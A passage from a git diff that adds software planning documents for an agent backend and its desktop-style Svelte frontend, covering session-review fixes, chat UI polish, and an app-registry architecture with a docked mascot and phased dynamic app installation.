query params. `listFilter` + `listSessionsFiltered` in
|
||||
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
|
||||
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
|
||||
parsed as hours). The response includes `next_cursor` for paging.
|
||||
|
||||
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
|
||||
text.** Fall back to the assistant text only if no goal. The greeting
|
||||
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
|
||||
goal "Fix the rclone backup so it completes successfully instead of
|
||||
OOM-killing" — that's the right title.
|
||||
- Done: `setGoal` in `cmd/nomos/store.go` now sets
|
||||
`title = goal` on the same UPDATE that sets the goal. The
|
||||
title-from-first-assistant-text path in `cmd/nomos/main.go`
|
||||
preserves the goal title when one exists (falls back to
|
||||
`truncate(finalText, 80)` only when no goal is set). Truncates the
|
||||
goal title to 120 chars.
|
||||
|
||||
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
|
||||
`[{id, name, args, result, error, type, message_id, role, seq,
|
||||
created_at}]` without the message-shell nesting. Makes jq one-liners
|
||||
and trend scripts trivial.
|
||||
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
|
||||
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
|
||||
flattens `tool_calls[]` into a chronological flat list. Each
|
||||
tool_use/tool_result pair is emitted as two rows sharing an id
|
||||
(preserving the persisted shape) — clients that want the merged
|
||||
shape can group by ID.
|
||||
|
||||
---
|
||||
|
||||
## Suggested order
|
||||
|
||||
If only two land: **P0.1** (parse the inner command for `pct exec` /
|
||||
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
|
||||
first eliminates the most visible user-facing friction in this batch
|
||||
(three duplicate rclone sessions); the second makes future audits like
|
||||
this one a single `curl | jq` instead of a Python script.
|
||||
|
||||
---
|
||||
|
||||
## Verification commands
|
||||
|
||||
```bash
|
||||
# Re-pull any session for follow-up
|
||||
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
|
||||
|
||||
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
|
||||
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
|
||||
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
|
||||
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
|
||||
|
||||
# After P0.1 lands: confirm read-only commands classify as reversible_low
|
||||
# (whatever the preflight surface becomes — TBC when the tool is added)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Related files
|
||||
|
||||
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
|
||||
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
|
||||
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
|
||||
(line 103), `listSessions` (line 317), `getMessages` (line 377),
|
||||
`hasPendingApprovals` (line 962)
|
||||
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||
- `cmd/nomos/eval/main.go:302` — comment calling out the
|
||||
`/sessions/{id}` "only session_id + messages" gap
|
||||
- `internal/policy/*` — risk-class classifier (target of P0.1)
|
||||
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
|
||||
MCP tool implementations
|
||||
- `nomos/SOUL.md` — agent persona, tool-selection rules
|
||||
- `.agents/skills/session-review/SKILL.md` — the audit protocol
|
||||
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
|
||||
three sessions overlap with this one
|
||||
|
||||
---
|
||||
|
||||
## Relationship to the 2026-07-18 review
|
||||
|
||||
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
|
||||
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
|
||||
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
|
||||
are tracked separately. This review does **not** re-open them. The
|
||||
remaining open items from that review are P1.7 (approval window
|
||||
auto-extends on execution timeout) and P2.9 (long-running command
|
||||
PENDING detection), both deferred there with rationale; this review
|
||||
found no new evidence that would change that deferral.
|
||||
79
plans/2026-07-21-chat-full-polish.md
Normal file
79
plans/2026-07-21-chat-full-polish.md
Normal file
@@ -0,0 +1,79 @@
|
||||
# 2026-07-21 Chat window full polish
|
||||
|
||||
## Context
|
||||
|
||||
After fixing the streaming reactivity bug and merging the double thinking
|
||||
indicator, the chat window still has structural UX gaps: no streaming
|
||||
affordance while text flows, tools never rendered inline, no timestamps,
|
||||
no code copy, cross-session store leaks in floating windows, and minor
|
||||
overflow/style holes.
|
||||
|
||||
## Decisions
|
||||
|
||||
| Question | Answer |
|
||||
|---|---|
|
||||
| Streaming feel | Typing cursor (blinking ▍) + inline indicator |
|
||||
| Tool calls | Expandable inline tool cards in message flow |
|
||||
| Empty state | Minimal — title + tagline, no suggestions |
|
||||
| Dark theme | Keep neutral (skip) |
|
||||
| Scope | Full polish — everything |
|
||||
|
||||
## Changes
|
||||
|
||||
### P0.1 Streaming cursor
|
||||
- **File:** `web/src/lib/components/ChatThread.svelte`
|
||||
- Add a blinking block-cursor (▍) appended after rendered markdown when
|
||||
`streaming` is true and the last assistant message has text.
|
||||
- Keep the inline spinner + activity label for the empty-text state.
|
||||
- CSS: `@keyframes` blink, `0.8s` cycle, `primary` color, `inline-block`.
|
||||
|
||||
### P0.2 Tool call cards
|
||||
- **New:** `web/src/lib/components/ToolCallCard.svelte`
|
||||
- **Modify:** `ChatThread.svelte`
|
||||
- Render `msg.tools` as collapsible cards between text blocks.
|
||||
- Collapsed: tool icon + name + status (running/done/error).
|
||||
- Expanded: pretty-printed args + result/error in `pre` blocks.
|
||||
- Keep it minimal — one card per tool call, no grouping.
|
||||
- Wire `pendingApprovals` from `msg.pendingApprovals` as approval
|
||||
cards below the tool list.
|
||||
|
||||
### P1.3 Timestamps + role labels
|
||||
- **Modify:** `ChatThread.svelte`, `ChatMessage` interface
|
||||
- Add `created_at?: string` to `ChatMessage` (populated from `Message.created_at`).
|
||||
- Show small muted timestamp (HH:MM) on hover or inline next to role label.
|
||||
- Add tiny "You" / "Nomos" labels above bubbles (subtle, muted).
|
||||
|
||||
### P1.4 Code copy button
|
||||
- **Modify:** `ChatThread.svelte` prose styles
|
||||
- Wrap `pre` blocks in a relative container; add a copy button
|
||||
(clipboard icon, top-right, opacity-0 → visible on hover).
|
||||
- Use `navigator.clipboard.writeText`.
|
||||
|
||||
### P1.5 Table overflow + user bubble fix
|
||||
- **Modify:** `ChatThread.svelte` prose styles
|
||||
- Wrap tables in `overflow-x-auto` container.
|
||||
- Add `overflow-wrap: break-word` to user bubbles.
|
||||
|
||||
### P2.6 Cross-session fixes
|
||||
- **Modify:** `web/src/lib/stores/chat.ts`, `SessionChatWindow.svelte`
|
||||
- `chatErrors`: keep global for now (session-scoped errors are rare
|
||||
and the dismiss is manual anyway).
|
||||
- `activityLog`: **per-session** — the store in `activity.ts` already
|
||||
derives from messages; make `computeActivityLog` session-scoped
|
||||
so each floating window only sees its own activity.
|
||||
|
||||
### P2.7 Min window size
|
||||
- **Modify:** `web/src/lib/stores/windows.ts` (openTaskWindow)
|
||||
- Add `minWidth: 600, minHeight: 400` to chat window open call.
|
||||
|
||||
### P2.8 Cleanup
|
||||
- Delete `web/src/lib/components/AgentIndicator.svelte` (dead code).
|
||||
- Update stale comments in `SessionChatWindow.svelte` and
|
||||
`TaskContextPanel.svelte` that reference a "main Chat page."
|
||||
- Fix prose heading hierarchy: h1 = 1.15em, h2 = 1.1em, h3 = 1.05em.
|
||||
|
||||
## Verification
|
||||
|
||||
- `npx eslint` on all changed files
|
||||
- `go vet ./cmd/nomos/...`
|
||||
- `go build -o /dev/null ./cmd/nomos/...`
|
||||
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
647
plans/2026-07-21-frontend-os-apps-architecture.md
Normal file
@@ -0,0 +1,647 @@
|
||||
# Frontend as OS + Apps: architecture audit & refactor plan
|
||||
|
||||
> **Status:** Planned
|
||||
> **Stakeholders:** Operator, Nomos
|
||||
> **Confidence:** Verified (direct code audit against `web/src/` as of 2026-07-21)
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
The Oikos frontend is already built on an implicit OS + Apps metaphor — a
|
||||
desktop surface, floating windows, a taskbar, and a registry of
|
||||
independently-rendered apps. This plan makes that metaphor **explicit**,
|
||||
strengthens the contracts between Base OS and Apps, refactors the mascot
|
||||
into a proper App, and lays out the extensibility path for dynamic app
|
||||
installation without touching shell code.
|
||||
|
||||
The current codebase is remarkably close. The audit found one structural
|
||||
gap (mascot is hardcoded into the shell, not a registry App) and three
|
||||
contract weaknesses (positional content resolution, icon store assumes a
|
||||
static registry, no stable OS-service contract for Apps). Fixing them
|
||||
requires no architectural rewrite — the bones are correct.
|
||||
|
||||
---
|
||||
|
||||
## 1. Audit: what we have today
|
||||
|
||||
### 1.1 The implicit OS layer (exists, undocumented)
|
||||
|
||||
| Service | File | Role |
|
||||
|---------|------|------|
|
||||
| **Window Manager** | `lib/stores/windows.ts:19-31` | wmkit manager + desktop + persist. Single-instance, global. |
|
||||
| **Desktop Surface** | `components/desktop-shell/Desktop.svelte` | Full-viewport shell: background, icons, launcher, windows, mascot, taskbar. |
|
||||
| **Window Layer** | `components/desktop-shell/WindowLayer.svelte` | Content resolver: maps window ID → component. z-40. |
|
||||
| **Taskbar** | `components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`. |
|
||||
| **Icon Grid** | `lib/stores/icons.ts` | Column/row grid, drag-to-reorder, localStorage persistence. |
|
||||
| **Task Launcher** | `components/desktop-shell/TaskLauncher.svelte` | Centered text input → new task window. |
|
||||
| **Auth Gate** | `App.svelte` | Config screen vs. Desktop. Token check, OIDC init, context/SSE subscribe. |
|
||||
| **Session Windows** | `components/SessionChatWindow.svelte` | Per-session chat window, splitpanes layout. |
|
||||
| **New Task Window** | `components/desktop-shell/NewTaskChat.svelte` | Singleton compose window. |
|
||||
| **Entity Windows** | `components/EntityDetailContent.svelte` | Entity detail (bare slug window IDs). |
|
||||
| **Legacy Hash Routes** | `App.svelte:17-39` | Backward compat for old `#/kb`, `#/entity/<slug>` bookmarks. |
|
||||
|
||||
The shell has **no hardcoded app list** — `Desktop.svelte:90` reads `APPS`
|
||||
from the registry, `WindowLayer.svelte:36-37` resolves app windows through
|
||||
`appById`, `Taskbar.svelte:32` resolves icons the same way. Adding an app
|
||||
is one entry in `apps.ts`.
|
||||
|
||||
### 1.2 The App Registry (exists, nearly complete)
|
||||
|
||||
**File:** `lib/apps.ts` (130 lines)
|
||||
**Interface:** `AppDef` — id, title, icon (Lucide Component), component
|
||||
(Svelte Component), width, height, minWidth, minHeight, optional badge
|
||||
function.
|
||||
**Window namespacing:** `app:<id>` (`apps.ts:122`) — distinct from
|
||||
`session:<id>`, `new-task`, and bare entity slugs.
|
||||
|
||||
**Current apps (7):**
|
||||
|
||||
| ID | Page Component | Badge? |
|
||||
|----|---------------|--------|
|
||||
| `tasks` | `pages/Overview.svelte` | — |
|
||||
| `kb` | `pages/KnowledgeBase.svelte` | — |
|
||||
| `ops` | `pages/Ops.svelte` | approvals_pending |
|
||||
| `signals` | `pages/Signals.svelte` | open signal count |
|
||||
| `knowledge` | `pages/Knowledge.svelte` | — |
|
||||
| `learning` | `pages/Learning.svelte` | — |
|
||||
| `settings` | `pages/Settings.svelte` | — |
|
||||
|
||||
**What works:**
|
||||
|
||||
- Data-driven. One array → three surfaces auto-render.
|
||||
- Namespaced window IDs prevent collisions with session/entity windows.
|
||||
- Single-instance enforcement (double-click focuses, never duplicates).
|
||||
- Badge system: pure function over `DashboardSummary`, consumed by icon +
|
||||
taskbar.
|
||||
- Tested (`apps.test.ts`): unique IDs, positive sizes, `appById` index,
|
||||
round-trips.
|
||||
- Orphan cleanup: `WindowLayer.svelte:25-30` closes persisted windows whose
|
||||
app was removed from the registry.
|
||||
|
||||
**What's missing from the AppDef contract:**
|
||||
|
||||
1. **No stable OS-service surface.** Apps reach into the OS by importing
|
||||
arbitrary `$lib` modules (`openEntityWindow` from `windows.ts`,
|
||||
`summary` from `context.ts`). It works because apps are compiled in, but
|
||||
there is no documented boundary between "stable OS API an App may use"
|
||||
and "shell internals that happen to be exported." Phase 3 (installed
|
||||
third-party apps) needs that boundary to exist first.
|
||||
2. **No docked/overlay app kind.** An app that renders *on* the desktop
|
||||
(above windows, no titlebar, no window at all) has no representation in
|
||||
the contract — which is exactly why the mascot is hardcoded.
|
||||
|
||||
### 1.3 The Mascot: embedded, not an app
|
||||
|
||||
**Files:** `lib/mascot/` (12 files, ~2.8k lines)
|
||||
**Integration:** `Desktop.svelte:105` — hardcoded `<MascotLayer />` at z-45,
|
||||
after WindowLayer and before Taskbar.
|
||||
|
||||
**Key facts that shape the refactor (verified):**
|
||||
|
||||
- `MascotLayer.svelte` takes **no props**. It creates the `MascotRuntime`
|
||||
per mount, seeds position from the persisted model, and attaches the
|
||||
stimulus bus itself (`MascotLayer.svelte:38-61`, comment at line 6-7).
|
||||
- The persistent model (stage, name, happiness, xp, **lastPos**) is
|
||||
module-scoped in `state.svelte.ts` and survives unmount/remount.
|
||||
- The sprite `Image` cache is module-scoped in `sprites.ts` — remounts do
|
||||
not re-fetch the 19 PNG sheets.
|
||||
- The stimulus bus subscribes to global stores (`focusedSessionId` from
|
||||
`windows.ts`, per-session factories from `chat.ts`/`workspace.ts`) — no
|
||||
dependency on how MascotLayer is mounted.
|
||||
|
||||
**Consequence:** hiding the mascot = `{#if visible}<MascotLayer />{/if}`.
|
||||
State, sprites, and position all restore naturally. No `keepAlive`
|
||||
machinery is needed.
|
||||
|
||||
### 1.4 Three contract weaknesses
|
||||
|
||||
#### Weakness 1: Positional content resolution
|
||||
|
||||
`WindowLayer.svelte:70-79` resolves content by checking ID patterns in a
|
||||
hardcoded order:
|
||||
|
||||
```svelte
|
||||
{#if id.startsWith(SESSION_PREFIX)}
|
||||
<SessionChatWindow ... />
|
||||
{:else if id === NEW_TASK_WINDOW_ID}
|
||||
<NewTaskChat />
|
||||
{:else if app}
|
||||
<app.component />
|
||||
{:else}
|
||||
<EntityDetailContent ... />
|
||||
{/if}
|
||||
```
|
||||
|
||||
A new window category must be inserted at the right position in this chain.
|
||||
Works today because prefixes are mutually exclusive by construction, but
|
||||
it's a landmine: add `'lxc:'` container consoles or `'log:'` viewers and
|
||||
you're editing shell internals.
|
||||
|
||||
#### Weakness 2: Icon store snapshots the registry at module load
|
||||
|
||||
`icons.ts:23` builds default positions from `APPS`, and `icons.ts:48`
|
||||
freezes an `appIds` set used to filter persisted positions in `load()`.
|
||||
Both evaluate **once at import time**. A late-registering app (lazy load,
|
||||
Phase 2+) would have its persisted position silently dropped by the
|
||||
`load()` filter — the merge-over-defaults logic only helps apps that were
|
||||
already in `APPS` when the module first evaluated.
|
||||
|
||||
#### Weakness 3: Window chrome is fully shell-owned, with no extension point
|
||||
|
||||
Every window gets the same titlebar (`WindowLayer.svelte:40-67`): drag
|
||||
handle, title, minimize/maximize/close. Correct default — apps should not
|
||||
draw their own chrome — but there is no sanctioned way for an app to
|
||||
contribute a titlebar affordance (e.g. Tasks might want an inline "New
|
||||
task" button). **Decision: document as a designed extension point, defer
|
||||
implementation until an app actually needs it** (see §2.5). Not a Phase 1
|
||||
deliverable.
|
||||
|
||||
---
|
||||
|
||||
## 2. The OS + Apps model
|
||||
|
||||
### 2.1 Metaphor
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────┐
|
||||
│ Auth Gate (App.svelte) │
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Desktop Surface ││
|
||||
│ │ ┌─────────────┐ ┌─────────────┐ ││
|
||||
│ │ │ App Window │ │ App Window │ z-40 ││
|
||||
│ │ │ (Tasks) │ │ (Signals) │ ││
|
||||
│ │ └─────────────┘ └─────────────┘ ││
|
||||
│ │ ┌──────────────────────┐ ││
|
||||
│ │ │ Docked Apps (Cluck) │ z-45, no chrome ││
|
||||
│ │ └──────────────────────┘ ││
|
||||
│ │ ┌──────┐ ┌──────┐ ┌──────┐ z-0 ││
|
||||
│ │ │ Icon │ │ Icon │ │ Icon │ ││
|
||||
│ │ └──────┘ └──────┘ └──────┘ ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
│ ┌──────────────────────────────────────────────┐│
|
||||
│ │ Taskbar [Tasks] [Signals] 🎨 ⚙ v0.9 ││
|
||||
│ └──────────────────────────────────────────────┘│
|
||||
└──────────────────────────────────────────────────┘
|
||||
|
||||
Base OS = Auth Gate + Desktop Surface + Window Manager + Taskbar
|
||||
+ Icon Grid + Docked Layer + OS-service surface
|
||||
Apps = Tasks, KB, Ops, Signals, Knowledge, Learning, Settings, Cluck
|
||||
```
|
||||
|
||||
### 2.2 App kinds
|
||||
|
||||
Two kinds, distinguished by one flag:
|
||||
|
||||
| Kind | Window | Titlebar | Taskbar button | Opened by |
|
||||
|------|--------|----------|----------------|-----------|
|
||||
| **Windowed** (default) | wmkit floating window | Yes | Yes (automatic) | `openAppWindow(id)` → `wm.open()` |
|
||||
| **Docked** (`docked: true`) | None — renders on the Docked Layer | No | No | `openAppWindow(id)` → toggles visibility |
|
||||
|
||||
Docked apps are **not** wmkit citizens. They render in a dedicated layer
|
||||
above the window layer, their visibility is a persisted boolean, and
|
||||
clicking their desktop icon toggles show/hide. They never appear in the
|
||||
taskbar because they never enter `wmState.order`.
|
||||
|
||||
### 2.3 The App contract
|
||||
|
||||
```typescript
|
||||
interface AppDef {
|
||||
// Identity (required)
|
||||
id: string // unique; window IDs are "app:<id>"
|
||||
title: string // desktop icon label + window titlebar
|
||||
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||
component: Component // Svelte component; receives NO props
|
||||
|
||||
// Kind
|
||||
docked?: boolean // true = Docked Layer app, no window (default false)
|
||||
|
||||
// Window geometry — required for windowed apps, forbidden for docked apps
|
||||
width?: number
|
||||
height?: number
|
||||
minWidth?: number
|
||||
minHeight?: number
|
||||
|
||||
// Behavior (all optional)
|
||||
badge?: (summary: DashboardSummary | null) => number
|
||||
noIcon?: boolean // true = registered but no desktop icon
|
||||
}
|
||||
```
|
||||
|
||||
**Validation rules** (enforced by `apps.test.ts`, not runtime checks):
|
||||
|
||||
- `id` unique, non-empty.
|
||||
- Windowed apps: `width`/`height` present and positive.
|
||||
- Docked apps: `width`/`height` absent (geometry is meaningless without a
|
||||
window).
|
||||
- Every app has an icon component (even `noIcon` apps — the taskbar and
|
||||
future surfaces need it).
|
||||
|
||||
**Design decisions, and why:**
|
||||
|
||||
- **No `keepAlive`.** Module-scoped state (mascot model, sprite cache)
|
||||
already survives unmount. If a future app needs close-to-hide semantics,
|
||||
that's a wmkit feature request, not an AppDef field.
|
||||
- **No `noTaskbar`.** Docked apps never reach the taskbar; windowed apps
|
||||
always should. A windowed app with no taskbar button is an orphan the
|
||||
operator can't find.
|
||||
- **No lifecycle hooks in the contract.** Svelte's own `onMount`/`onDestroy`
|
||||
already fire on window open/close. A shell-level `onRegister` is only
|
||||
meaningful once apps register dynamically — deferred to Phase 3, where
|
||||
it becomes the permission handshake.
|
||||
- **Apps receive no props.** The component is the app. It imports OS
|
||||
services (§2.4) directly. This keeps the shell→app edge one-way and
|
||||
trivially mockable.
|
||||
|
||||
### 2.4 The OS-service surface (AppOS)
|
||||
|
||||
The stable set of `$lib` exports an App may import. Everything else in
|
||||
`$lib` is shell-internal and may change without notice. This is a
|
||||
**documentation contract** today (apps are compiled in); it becomes an
|
||||
**enforced sandbox boundary** in Phase 3.
|
||||
|
||||
| Service | Import | Stability |
|
||||
|---------|--------|-----------|
|
||||
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` | Stable |
|
||||
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` | Stable |
|
||||
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` | Stable |
|
||||
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` | Stable |
|
||||
| Live events | `subscribeEvents` from `$lib/stores/events` | Stable |
|
||||
| Per-session chat | `chatFor(sessionId)` from `$lib/stores/chat` | Stable |
|
||||
| Per-session workspace | `workspaceFor(sessionId)` from `$lib/stores/workspace` | Stable |
|
||||
| REST API | `$lib/api` functions | Stable (generated from OpenAPI) |
|
||||
| UI primitives | `$lib/components/ui/*` | Stable |
|
||||
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` | Stable |
|
||||
|
||||
### 2.5 Content resolution — fixed
|
||||
|
||||
Replace the positional `if/else` chain with a prefix → component map owned
|
||||
by the shell:
|
||||
|
||||
```typescript
|
||||
// WindowLayer.svelte — one map, dispatch by prefix. New window kinds
|
||||
// register here, not in an if/else chain.
|
||||
const CONTENT_RESOLVERS: Array<[prefix: string, resolve: (id: string) => Component | null]> = [
|
||||
['session:', () => SessionChatWindow],
|
||||
['app:', (id) => appById.get(id.slice(4))?.component ?? null],
|
||||
]
|
||||
|
||||
function resolveContent(id: string): Component | null {
|
||||
if (id === NEW_TASK_WINDOW_ID) return NewTaskChat
|
||||
for (const [prefix, resolve] of CONTENT_RESOLVERS) {
|
||||
if (id.startsWith(prefix)) return resolve(id)
|
||||
}
|
||||
return EntityDetailContent // bare entity slug fallback
|
||||
}
|
||||
```
|
||||
|
||||
Adding a `'lxc:'` console window kind later = one array entry. The
|
||||
existing orphan-close effect (`WindowLayer.svelte:25-30`) is kept as-is;
|
||||
Phase 2 must gate it on registry-ready (§5).
|
||||
|
||||
### 2.6 Designed extension points (documented, not built)
|
||||
|
||||
| Extension | Mechanism when built | Trigger |
|
||||
|-----------|---------------------|---------|
|
||||
| Titlebar actions | `titlebarActions?: Component` on AppDef, rendered left of min/max/close | First app that needs one |
|
||||
| App-scoped state | `state?: () => Record<string, unknown>` on AppDef | First app with cross-mount state that isn't module-scoped |
|
||||
| `onRegister` handshake | Called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||
|
||||
Documenting these now prevents the Phase 1 contract from painting itself
|
||||
into a corner; building them now would be speculative.
|
||||
|
||||
---
|
||||
|
||||
## 3. The mascot as an App
|
||||
|
||||
### 3.1 Registration
|
||||
|
||||
```typescript
|
||||
{
|
||||
id: 'mascot',
|
||||
title: 'Cluck',
|
||||
icon: EggIcon, // Lucide egg (chick/adult swap is a future nicety)
|
||||
component: MascotLayer,
|
||||
docked: true,
|
||||
// no width/height — docked
|
||||
// no badge — a permanent "1" is noise, not information
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 The docked-visibility store (new)
|
||||
|
||||
```typescript
|
||||
// lib/stores/docked.ts
|
||||
// Visibility for docked apps — persisted, so "hidden" survives reloads.
|
||||
// Keyed by app id; absent key = visible (default-on for new docked apps).
|
||||
export const dockedVisibility: Readable<Record<string, boolean>>
|
||||
export function toggleDocked(appId: string): void
|
||||
export function isDockedVisible(appId: string): boolean
|
||||
```
|
||||
|
||||
- localStorage key: `oikos-docked-apps`
|
||||
- Default: visible (a fresh install shows the mascot; hiding is opt-out)
|
||||
- Merge semantics mirror `icons.ts`: unknown persisted keys are kept (an
|
||||
uninstalled docked app that gets reinstalled remembers its state)
|
||||
|
||||
### 3.3 Shell changes
|
||||
|
||||
**`windows.ts` — `openAppWindow` branches on kind:**
|
||||
|
||||
```typescript
|
||||
export function openAppWindow(appId: string): void {
|
||||
const app = appById.get(appId)
|
||||
if (!app) return
|
||||
if (app.docked) { toggleDocked(appId); return } // ← the branch the first draft missed
|
||||
// ... existing wm.open path unchanged
|
||||
}
|
||||
```
|
||||
|
||||
This is the load-bearing detail: the icon click in `Desktop.svelte:93`
|
||||
calls `openAppWindow(app.id)` for every app uniformly. Branching **inside**
|
||||
`openAppWindow` means Desktop.svelte, legacy hash resolution, and any
|
||||
future caller need no special cases.
|
||||
|
||||
**`Desktop.svelte` — replace hardcoded `<MascotLayer />` with:**
|
||||
|
||||
```svelte
|
||||
<DockedLayer />
|
||||
```
|
||||
|
||||
**`components/desktop-shell/DockedLayer.svelte` — new, ~30 lines:**
|
||||
|
||||
```svelte
|
||||
{#each APPS.filter(a => a.docked) as app (app.id)}
|
||||
{#if $dockedVisibility[app.id] ?? true}
|
||||
<app.component />
|
||||
{/if}
|
||||
{/each}
|
||||
```
|
||||
|
||||
Rendered after `<WindowLayer />` inside the surface div, so docked apps
|
||||
share the surface's coordinate space (the mascot's ground-line computation
|
||||
depends on this — `MascotLayer.svelte:9-13`).
|
||||
|
||||
**`MascotLayer.svelte` — zero changes.** No props today, no props after.
|
||||
|
||||
### 3.4 What the mascot gains
|
||||
|
||||
| Feature | Before | After |
|
||||
|---------|--------|-------|
|
||||
| Registry entry | None — hardcoded in shell | First-class AppDef |
|
||||
| Show/hide | Impossible — always mounted | Icon click toggles; persists across reloads |
|
||||
| Shell coupling | `Desktop.svelte` imports mascot internals | Shell knows only `AppDef` |
|
||||
| Precedent for overlay apps | None | Any `docked: true` app (clock, net monitor) uses the same path |
|
||||
|
||||
### 3.5 What the mascot does *not* gain (deliberately)
|
||||
|
||||
- **No taskbar button.** No window → no taskbar entry. The desktop icon is
|
||||
the control.
|
||||
- **No window chrome.** It's a desktop creature, not a document.
|
||||
- **No settings panel in v1.** Hatch/rename/pet/feed stay in the existing
|
||||
radial menu. A mascot *settings* surface (volume, behavior toggles) would
|
||||
be a separate windowed app later — noted as a follow-up idea, not
|
||||
planned.
|
||||
|
||||
### 3.6 UX risk: "where did my chicken go?"
|
||||
|
||||
Hidden state persists across reloads. Mitigation: the desktop icon is
|
||||
always present and is the obvious toggle; the icon's tooltip reads
|
||||
"Cluck — click to show/hide". Acceptable.
|
||||
|
||||
---
|
||||
|
||||
## 4. Current apps — conformance audit
|
||||
|
||||
| App | Conforms? | Notes |
|
||||
|-----|-----------|-------|
|
||||
| **Tasks** (`Overview.svelte`) | ✅ Full | Self-contained. Opens session windows via `openTaskWindow`. |
|
||||
| **Knowledge Base** (`KnowledgeBase.svelte`) | ✅ Full | Opens entity windows via `openEntityWindow`. |
|
||||
| **Operations** (`Ops.svelte`) | ✅ Full | Badge reads `summary`. |
|
||||
| **Signals** (`Signals.svelte`) | ✅ Full | Opens entity windows. |
|
||||
| **Knowledge** (`Knowledge.svelte`) | ✅ Full | — |
|
||||
| **Learning** (`Learning.svelte`) | ✅ Full | — |
|
||||
| **Settings** (`Settings.svelte`) | ✅ Full | Opened from taskbar tray too — same `openAppWindow` path. |
|
||||
| **Mascot** | ❌ Not an App | Hardcoded in Desktop.svelte. Refactored per §3. |
|
||||
|
||||
All seven windowed apps conform today. "Independently shippable" at Phase 1
|
||||
means: add = one page file + one registry entry; remove = delete both. No
|
||||
shell edits, no inter-app imports (apps open each other's surfaces only
|
||||
through AppOS primitives).
|
||||
|
||||
---
|
||||
|
||||
## 5. Extensibility roadmap
|
||||
|
||||
### Phase 1: Strengthen the contract (this plan)
|
||||
|
||||
- [x] `AppDef` extended: `docked`, `noIcon`; geometry conditional on kind
|
||||
- [x] `lib/stores/docked.ts`: docked-visibility store, persisted
|
||||
- [x] `openAppWindow` branches on `docked`
|
||||
- [x] `DockedLayer.svelte`: generic docked-app layer in Desktop.svelte
|
||||
- [x] Mascot registered as `docked: true`; hardcoded `<MascotLayer />` removed
|
||||
- [x] WindowLayer: prefix-map content resolution *(deferred — re-audited as gold-plating; original gate already handles orphans)*
|
||||
- [x] `apps.test.ts`: validation rules per kind (§2.3)
|
||||
- [x] AppOS contract documented (§2.4 lands in MBSE component doc)
|
||||
|
||||
### Phase 2: Lazy loading
|
||||
|
||||
- [x] `component` becomes `() => Promise<{ default: Component }>`; all apps use dynamic imports
|
||||
- [x] Desktop icons render immediately (metadata only); component chunk loads on window open
|
||||
- [x] `LazyApp.svelte` — shared loading skeleton (spinner) used by WindowLayer + DockedLayer
|
||||
- [x] Deleted `LazyMascot.svelte` — the registry lazy loader breaks the cycle directly
|
||||
- [x] Vite code-splits each app into its own chunk (main bundle 800KB → 482KB)
|
||||
- [ ] Icon store revalidates against live registry *(Phase 3 prerequisite — not needed while apps are statically registered)*
|
||||
- [ ] WindowLayer orphan-close gated on registry-ready *(Phase 3 prerequisite)*
|
||||
|
||||
### Phase 3: Dynamic app installation (frontend scaffold, local bundles)
|
||||
|
||||
Scoped at execution time to **local bundles only** (remote-URL loading +
|
||||
sandboxing deferred to Phase 4 — security-critical, needs ADR + careful
|
||||
design). The mechanism built here generalizes to remote bundles by
|
||||
swapping the catalog for a fetched manifest + `import(/* @vite-ignore */ url)`.
|
||||
|
||||
- [x] `AppManifest` format (id, title, permissions, version, geometry) — `web/src/app-store/catalog.ts`
|
||||
- [x] `AppPermission` enum (declaration-only; enforcement is Phase 4)
|
||||
- [x] Static catalog with one demo app (Notes) — `web/src/app-store/apps/Notes.svelte`
|
||||
- [x] Runtime registry: `APPS` → derived store (built-ins + installed); `appById` → derived Map
|
||||
- [x] `installApp` / `uninstallApp` + localStorage persistence (`oikos-installed-apps`)
|
||||
- [x] `icons.ts` reactive to app registration (late-registering apps get free cells; reset re-seeds from live registry)
|
||||
- [x] WindowLayer orphan-close reactive to `$appById` (reinstall revives, uninstall closes)
|
||||
- [x] App Store page (`web/src/pages/AppStore.svelte`) — list / install / uninstall
|
||||
- [x] Installed apps appear on desktop immediately (no reload); uninstall removes icon + closes window
|
||||
- [x] Icon store revalidates against live registry *(the Phase 3 prerequisite — now done)*
|
||||
- [ ] `/api/v1/apps` endpoint + DB-backed manifest storage *(Phase 4)*
|
||||
- [ ] Remote bundle loading from URLs + CSP + capability sandboxing *(Phase 4)*
|
||||
- [ ] Permission enforcement at AppOS boundary *(Phase 4)*
|
||||
|
||||
### Phase 4: Marketplace (vision)
|
